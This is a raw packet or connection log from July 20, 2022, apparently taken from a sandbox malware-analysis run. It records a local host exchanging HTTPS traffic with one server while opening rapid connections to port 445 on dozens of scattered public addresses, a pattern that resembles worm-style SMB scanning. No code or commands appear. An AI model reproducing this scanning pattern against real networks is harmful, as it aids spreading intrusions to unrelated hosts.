Jul 20, 2022 06:08:20.932200909 CEST	443	54384	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.932229042 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.932280064 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.940243959 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.940283060 CEST	443	54384	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.940324068 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.940390110 CEST	54384	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.976125002 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.976166964 CEST	443	54437	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.976258993 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.980568886 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:20.980602026 CEST	443	54437	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:20.987940073 CEST	445	54366	37.21.160.86	192.168.2.6
Jul 20, 2022 06:08:21.005182981 CEST	445	54382	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:21.005451918 CEST	54382	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:21.126699924 CEST	443	54437	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.127374887 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.132173061 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.132191896 CEST	443	54437	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.135390997 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.135413885 CEST	443	54437	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.175513983 CEST	445	54382	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:21.188791037 CEST	54371	445	192.168.2.6	60.107.180.230
Jul 20, 2022 06:08:21.202914000 CEST	443	54437	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.203037977 CEST	443	54437	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.203052998 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.203118086 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.203185081 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.203207970 CEST	443	54437	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.203213930 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.203264952 CEST	54437	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.206931114 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.206991911 CEST	443	54439	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.207135916 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.207479954 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.207504988 CEST	443	54439	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.236288071 CEST	54440	445	192.168.2.6	37.21.160.87
Jul 20, 2022 06:08:21.237149954 CEST	54441	445	192.168.2.6	178.159.42.82
Jul 20, 2022 06:08:21.237411976 CEST	54442	445	192.168.2.6	176.241.42.53
Jul 20, 2022 06:08:21.352777958 CEST	443	54439	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.352957010 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.354082108 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.354110956 CEST	443	54439	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.358329058 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.358352900 CEST	443	54439	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.368408918 CEST	54444	445	192.168.2.6	1.124.2.238
Jul 20, 2022 06:08:21.368472099 CEST	54448	445	192.168.2.6	48.144.100.67
Jul 20, 2022 06:08:21.368693113 CEST	54447	445	192.168.2.6	24.185.176.111
Jul 20, 2022 06:08:21.368948936 CEST	54449	445	192.168.2.6	207.7.139.115
Jul 20, 2022 06:08:21.368966103 CEST	54450	445	192.168.2.6	136.38.194.221
Jul 20, 2022 06:08:21.423291922 CEST	443	54439	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.423371077 CEST	443	54439	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.423535109 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.423893929 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.423916101 CEST	443	54439	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.423924923 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.423996925 CEST	54439	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.425834894 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.425888062 CEST	443	54451	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.426032066 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.426282883 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.426305056 CEST	443	54451	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.447434902 CEST	54452	445	192.168.2.6	196.48.189.43
Jul 20, 2022 06:08:21.576056004 CEST	443	54451	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.576152086 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.576597929 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.576613903 CEST	443	54451	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.579236031 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.579255104 CEST	443	54451	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.584609032 CEST	445	54371	60.107.180.230	192.168.2.6
Jul 20, 2022 06:08:21.690999031 CEST	443	54451	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.691087008 CEST	443	54451	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.691272974 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.698462009 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.698496103 CEST	443	54451	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.698508024 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.698594093 CEST	54451	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.700777054 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.700819969 CEST	443	54455	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.700926065 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.701523066 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.701538086 CEST	443	54455	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.720995903 CEST	54456	445	192.168.2.6	26.160.176.240
Jul 20, 2022 06:08:21.799334049 CEST	54457	445	192.168.2.6	87.247.77.134
Jul 20, 2022 06:08:21.802428961 CEST	54459	445	192.168.2.6	59.238.119.24
Jul 20, 2022 06:08:21.803160906 CEST	54460	445	192.168.2.6	142.172.88.78
Jul 20, 2022 06:08:21.804740906 CEST	54463	445	192.168.2.6	28.7.100.144
Jul 20, 2022 06:08:21.812118053 CEST	54470	445	192.168.2.6	204.3.130.113
Jul 20, 2022 06:08:21.814277887 CEST	54472	445	192.168.2.6	29.139.9.235
Jul 20, 2022 06:08:21.815323114 CEST	54474	445	192.168.2.6	2.1.179.191
Jul 20, 2022 06:08:21.815846920 CEST	54475	445	192.168.2.6	155.209.254.10
Jul 20, 2022 06:08:21.818258047 CEST	54480	445	192.168.2.6	35.179.38.102
Jul 20, 2022 06:08:21.821196079 CEST	54484	445	192.168.2.6	52.167.203.12
Jul 20, 2022 06:08:21.821921110 CEST	54485	445	192.168.2.6	185.100.110.113
Jul 20, 2022 06:08:21.836997032 CEST	54492	445	192.168.2.6	56.166.17.198
Jul 20, 2022 06:08:21.842590094 CEST	54493	445	192.168.2.6	174.123.149.6
Jul 20, 2022 06:08:21.843645096 CEST	54495	445	192.168.2.6	56.178.136.15
Jul 20, 2022 06:08:21.843733072 CEST	54494	445	192.168.2.6	191.165.176.76
Jul 20, 2022 06:08:21.843837023 CEST	54496	445	192.168.2.6	66.227.122.77
Jul 20, 2022 06:08:21.843910933 CEST	54498	445	192.168.2.6	9.33.239.99
Jul 20, 2022 06:08:21.844023943 CEST	54502	445	192.168.2.6	93.26.246.239
Jul 20, 2022 06:08:21.844084978 CEST	54503	445	192.168.2.6	116.105.58.40
Jul 20, 2022 06:08:21.844119072 CEST	54504	445	192.168.2.6	4.212.95.80
Jul 20, 2022 06:08:21.846113920 CEST	443	54455	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.846282959 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.846868992 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.846879005 CEST	443	54455	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.849469900 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.849483013 CEST	443	54455	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.945203066 CEST	443	54455	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.945333958 CEST	443	54455	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.945348024 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.945408106 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.951369047 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.951404095 CEST	443	54455	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.951415062 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.951505899 CEST	54455	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.953805923 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.953839064 CEST	443	54509	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:21.953949928 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.954273939 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:21.954296112 CEST	443	54509	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.107736111 CEST	443	54509	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.107861996 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.108540058 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.108553886 CEST	443	54509	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.111284971 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.111310005 CEST	443	54509	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.206466913 CEST	443	54509	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.206572056 CEST	443	54509	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.206583977 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.206653118 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.206717014 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.206751108 CEST	443	54509	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.206765890 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.206815004 CEST	54509	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.209465027 CEST	54510	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.209517956 CEST	443	54510	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.209649086 CEST	54510	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.210110903 CEST	54510	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.210129976 CEST	443	54510	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.299649000 CEST	54512	445	192.168.2.6	37.21.160.88
Jul 20, 2022 06:08:22.299753904 CEST	54514	445	192.168.2.6	176.241.42.54
Jul 20, 2022 06:08:22.299777985 CEST	54513	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:22.331197023 CEST	445	54513	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:22.331430912 CEST	54513	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:22.331602097 CEST	54513	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:22.337080956 CEST	54515	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:22.348556042 CEST	445	54514	176.241.42.54	192.168.2.6
Jul 20, 2022 06:08:22.358828068 CEST	445	54513	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:22.358851910 CEST	445	54513	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:22.361257076 CEST	443	54510	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.361375093 CEST	54510	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.362313032 CEST	54510	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.362323046 CEST	443	54510	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.364828110 CEST	54510	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.364840984 CEST	443	54510	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.366430998 CEST	445	54515	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:22.366750956 CEST	54515	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:22.367186069 CEST	54515	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:22.400728941 CEST	445	54515	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:22.400962114 CEST	54515	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:22.430419922 CEST	445	54515	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:22.430651903 CEST	54515	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:22.461357117 CEST	445	54515	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:22.502482891 CEST	443	54510	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.502567053 CEST	443	54510	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.502583027 CEST	54510	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.502640009 CEST	54510	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.502825975 CEST	54510	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.502846003 CEST	443	54510	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.506283045 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.506320000 CEST	443	54516	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.506392956 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.507433891 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.507447004 CEST	443	54516	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.526472092 CEST	54519	445	192.168.2.6	163.42.6.90
Jul 20, 2022 06:08:22.526552916 CEST	54521	445	192.168.2.6	26.118.131.69
Jul 20, 2022 06:08:22.526577950 CEST	54520	445	192.168.2.6	201.177.142.109
Jul 20, 2022 06:08:22.526698112 CEST	54522	445	192.168.2.6	41.133.151.193
Jul 20, 2022 06:08:22.526786089 CEST	54523	445	192.168.2.6	148.23.229.168
Jul 20, 2022 06:08:22.553003073 CEST	54524	445	192.168.2.6	12.205.196.71
Jul 20, 2022 06:08:22.654915094 CEST	443	54516	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.655148983 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.656259060 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.656270027 CEST	443	54516	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.662307024 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.662328959 CEST	443	54516	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.805372000 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.805408955 CEST	443	54528	20.199.120.182	192.168.2.6
Jul 20, 2022 06:08:22.805485964 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.806190014 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.806216955 CEST	443	54528	20.199.120.182	192.168.2.6
Jul 20, 2022 06:08:22.837146044 CEST	443	54516	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.837241888 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.837400913 CEST	443	54516	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.837460041 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.849977016 CEST	54529	445	192.168.2.6	45.169.70.73
Jul 20, 2022 06:08:22.850466013 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.850495100 CEST	443	54516	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.850539923 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.850732088 CEST	54516	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.852664948 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.852727890 CEST	443	54530	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.852875948 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.853116035 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:22.853140116 CEST	443	54530	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:22.860703945 CEST	54514	445	192.168.2.6	176.241.42.54
Jul 20, 2022 06:08:22.897025108 CEST	443	54528	20.199.120.182	192.168.2.6
Jul 20, 2022 06:08:22.897119045 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.900141954 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.900158882 CEST	443	54528	20.199.120.182	192.168.2.6
Jul 20, 2022 06:08:22.900382996 CEST	443	54528	20.199.120.182	192.168.2.6
Jul 20, 2022 06:08:22.901618004 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.901684046 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.901694059 CEST	443	54528	20.199.120.182	192.168.2.6
Jul 20, 2022 06:08:22.901853085 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.911348104 CEST	445	54514	176.241.42.54	192.168.2.6
Jul 20, 2022 06:08:22.924148083 CEST	54531	445	192.168.2.6	209.8.13.167
Jul 20, 2022 06:08:22.925101042 CEST	54533	445	192.168.2.6	90.68.179.144
Jul 20, 2022 06:08:22.925626993 CEST	54534	445	192.168.2.6	123.73.26.163
Jul 20, 2022 06:08:22.926814079 CEST	54536	445	192.168.2.6	24.39.106.68
Jul 20, 2022 06:08:22.929382086 CEST	54539	445	192.168.2.6	115.25.9.71
Jul 20, 2022 06:08:22.935761929 CEST	443	54528	20.199.120.182	192.168.2.6
Jul 20, 2022 06:08:22.935825109 CEST	443	54528	20.199.120.182	192.168.2.6
Jul 20, 2022 06:08:22.935879946 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.937678099 CEST	54528	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:08:22.937699080 CEST	443	54528	20.199.120.182	192.168.2.6
Jul 20, 2022 06:08:22.950318098 CEST	54552	445	192.168.2.6	134.80.128.60
Jul 20, 2022 06:08:22.950376987 CEST	54553	445	192.168.2.6	81.215.122.177
Jul 20, 2022 06:08:22.950505018 CEST	54557	445	192.168.2.6	164.184.125.236
Jul 20, 2022 06:08:22.950660944 CEST	54563	445	192.168.2.6	165.3.39.213
Jul 20, 2022 06:08:22.950683117 CEST	54562	445	192.168.2.6	99.157.131.27
Jul 20, 2022 06:08:22.950768948 CEST	54565	445	192.168.2.6	115.246.39.101
Jul 20, 2022 06:08:22.960539103 CEST	54569	445	192.168.2.6	170.163.226.66
Jul 20, 2022 06:08:22.960582972 CEST	54570	445	192.168.2.6	190.167.189.135
Jul 20, 2022 06:08:22.960663080 CEST	54572	445	192.168.2.6	112.25.57.227
Jul 20, 2022 06:08:22.960706949 CEST	54573	445	192.168.2.6	200.172.68.102
Jul 20, 2022 06:08:22.960794926 CEST	54574	445	192.168.2.6	148.106.62.163
Jul 20, 2022 06:08:22.960797071 CEST	54575	445	192.168.2.6	154.28.222.91
Jul 20, 2022 06:08:22.960958004 CEST	54580	445	192.168.2.6	180.190.163.180
Jul 20, 2022 06:08:22.960977077 CEST	54579	445	192.168.2.6	83.61.189.10
Jul 20, 2022 06:08:22.961086988 CEST	54581	445	192.168.2.6	207.228.28.134
Jul 20, 2022 06:08:23.000180960 CEST	443	54530	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.000260115 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.000792980 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.000808954 CEST	443	54530	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.003745079 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.003757954 CEST	443	54530	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.084197998 CEST	443	54530	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.084290028 CEST	443	54530	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.084300041 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.084341049 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.089376926 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.089399099 CEST	443	54530	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.089409113 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.089448929 CEST	54530	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.096877098 CEST	445	54529	45.169.70.73	192.168.2.6
Jul 20, 2022 06:08:23.099863052 CEST	445	54581	207.228.28.134	192.168.2.6
Jul 20, 2022 06:08:23.105742931 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.105791092 CEST	443	54583	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.105868101 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.106147051 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.106159925 CEST	443	54583	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.118005991 CEST	445	54563	165.3.39.213	192.168.2.6
Jul 20, 2022 06:08:23.118120909 CEST	54563	445	192.168.2.6	165.3.39.213
Jul 20, 2022 06:08:23.118237972 CEST	54563	445	192.168.2.6	165.3.39.213
Jul 20, 2022 06:08:23.118870974 CEST	54584	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:23.248614073 CEST	443	54583	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.248691082 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.249289989 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.249300957 CEST	443	54583	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.266762018 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.266782999 CEST	443	54583	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.287209988 CEST	445	54584	165.3.39.1	192.168.2.6
Jul 20, 2022 06:08:23.287472010 CEST	54584	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:23.287498951 CEST	54584	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:23.290179014 CEST	54586	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:23.381583929 CEST	54587	445	192.168.2.6	37.21.160.89
Jul 20, 2022 06:08:23.382246017 CEST	54588	445	192.168.2.6	176.241.42.55
Jul 20, 2022 06:08:23.413002968 CEST	443	54583	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.413079977 CEST	443	54583	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.413141966 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.413158894 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.418991089 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.419018030 CEST	443	54583	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:23.419028044 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.419076920 CEST	54583	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:23.610815048 CEST	54581	445	192.168.2.6	207.228.28.134
Jul 20, 2022 06:08:23.610871077 CEST	54529	445	192.168.2.6	45.169.70.73
Jul 20, 2022 06:08:23.644634008 CEST	54592	445	192.168.2.6	3.88.252.121
Jul 20, 2022 06:08:23.645298004 CEST	54593	445	192.168.2.6	71.12.101.186
Jul 20, 2022 06:08:23.646457911 CEST	54594	445	192.168.2.6	47.17.100.22
Jul 20, 2022 06:08:23.647082090 CEST	54595	445	192.168.2.6	7.47.141.218
Jul 20, 2022 06:08:23.647182941 CEST	54596	445	192.168.2.6	206.2.28.18
Jul 20, 2022 06:08:23.675175905 CEST	54597	445	192.168.2.6	222.139.107.40
Jul 20, 2022 06:08:23.688930988 CEST	54563	445	192.168.2.6	165.3.39.213
Jul 20, 2022 06:08:23.750575066 CEST	445	54581	207.228.28.134	192.168.2.6
Jul 20, 2022 06:08:23.829674006 CEST	54584	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:23.855914116 CEST	445	54529	45.169.70.73	192.168.2.6
Jul 20, 2022 06:08:23.959618092 CEST	54601	445	192.168.2.6	77.27.93.69
Jul 20, 2022 06:08:24.049801111 CEST	54602	445	192.168.2.6	87.90.253.83
Jul 20, 2022 06:08:24.055118084 CEST	54604	445	192.168.2.6	17.138.181.216
Jul 20, 2022 06:08:24.056018114 CEST	54605	445	192.168.2.6	68.139.216.114
Jul 20, 2022 06:08:24.057025909 CEST	54607	445	192.168.2.6	91.216.21.134
Jul 20, 2022 06:08:24.058480978 CEST	54610	445	192.168.2.6	147.126.250.122
Jul 20, 2022 06:08:24.067228079 CEST	54615	445	192.168.2.6	112.72.80.205
Jul 20, 2022 06:08:24.067806959 CEST	54616	445	192.168.2.6	66.205.24.33
Jul 20, 2022 06:08:24.068303108 CEST	54617	445	192.168.2.6	190.24.159.3
Jul 20, 2022 06:08:24.068819046 CEST	54618	445	192.168.2.6	117.185.88.0
Jul 20, 2022 06:08:24.069802046 CEST	54620	445	192.168.2.6	168.191.154.169
Jul 20, 2022 06:08:24.070389986 CEST	54621	445	192.168.2.6	45.95.125.248
Jul 20, 2022 06:08:24.072316885 CEST	54625	445	192.168.2.6	188.229.127.127
Jul 20, 2022 06:08:24.086138010 CEST	445	54602	87.90.253.83	192.168.2.6
Jul 20, 2022 06:08:24.087464094 CEST	54602	445	192.168.2.6	87.90.253.83
Jul 20, 2022 06:08:24.097382069 CEST	54602	445	192.168.2.6	87.90.253.83
Jul 20, 2022 06:08:24.105343103 CEST	54626	445	192.168.2.6	58.166.115.122
Jul 20, 2022 06:08:24.106221914 CEST	54627	445	192.168.2.6	58.2.27.81
Jul 20, 2022 06:08:24.106251955 CEST	54628	445	192.168.2.6	146.3.33.72
Jul 20, 2022 06:08:24.106420040 CEST	54630	445	192.168.2.6	203.10.78.213
Jul 20, 2022 06:08:24.106574059 CEST	54633	445	192.168.2.6	6.83.157.31
Jul 20, 2022 06:08:24.106751919 CEST	54637	445	192.168.2.6	152.29.107.222
Jul 20, 2022 06:08:24.106875896 CEST	54640	445	192.168.2.6	125.117.131.56
Jul 20, 2022 06:08:24.109561920 CEST	54652	445	192.168.2.6	87.90.253.1
Jul 20, 2022 06:08:24.136620045 CEST	445	54602	87.90.253.83	192.168.2.6
Jul 20, 2022 06:08:24.156105995 CEST	445	54602	87.90.253.83	192.168.2.6
Jul 20, 2022 06:08:24.156455040 CEST	54602	445	192.168.2.6	87.90.253.83
Jul 20, 2022 06:08:24.182032108 CEST	445	54610	147.126.250.122	192.168.2.6
Jul 20, 2022 06:08:24.242127895 CEST	54654	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:24.414397955 CEST	445	54654	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:24.414720058 CEST	54654	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:24.414855003 CEST	54654	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:24.439604998 CEST	54656	445	192.168.2.6	37.21.160.90
